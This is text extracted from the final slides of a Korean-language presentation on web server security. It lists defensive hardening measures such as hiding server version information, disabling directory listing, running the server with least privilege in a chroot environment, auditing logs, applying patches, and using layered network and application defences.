웹서버의보안대책 서버정보출력의제한 -ServerSignatureOff -ServerTokensProductOnly - 디렉토리인덱스출력 ( Options Indexes ) 웹서버권한설정 - root 권한동작금지, 기본적으로최소한의권한부여 - 사용용도에따라적절한권한부여 - chroot 환경의운영 스크립트실행영역제한 접근제어 ( 디렉토리, 호스트별 ), 파일정보의제한 (.htaccess) 사용자인증을통한보안강화 불필요한모듈의제거 웹서버의상태관찰을통한공격파악 웹서버로그파일의감사 - 로그파일에기록되는비이상적인요청이있는가? 최신의웹서버소프트웨어사용및패치적용 추가적인보안관련모듈사용을통한보안성향상 이외운영되는웹서버에따른적절한보안지침마련 41

안전한웹서비스 이제웹서비스운영뿐만아니라클라이언트의보안대책도필요 현재의보안은한쪽면만이아닌복합적인방어대책필요 기본적인보안정책만으로도많은공격으로부터안전해질수있다. 보안패치 Anti-Virus, Personal Firewall Anti-Key Logging 방화벽 IPS,IDS Application Firewall 응용프로그램 불필요한확장프로시저제거 Web Client Inbound 정책 다른포트의접속은차단 X X X Outbound 정책 X 올바른보안정책수립 80, 443 번오픈 Web Server SSL or 보안모듈이용암호화 응용프로그램 응용프로그램 Code Review 입력값검증보안을고려한코딩 DB 42

안전한웹환경을위해무엇을해야하는가? 빠르게변화하는다양한인터넷기술과공격방법등의변화를따라가라 보안관련메일링리스트와사이트를통해웹서버또는웹애플리케이션의보안취약점정보를인지하라 웹운영에심각한취약점인경우빠르게업데이트할수있도록한다. 안전한웹서버의운영을원한다면본인스스로가보안에대한중요성을인지하고지속적인관심을가지고더욱더안전한운영방법을위한노력이필요하다. 보안 은단한번의설정으로 이뤄지지않는다. 43

Questions? Tha nks for your a tte ntion 44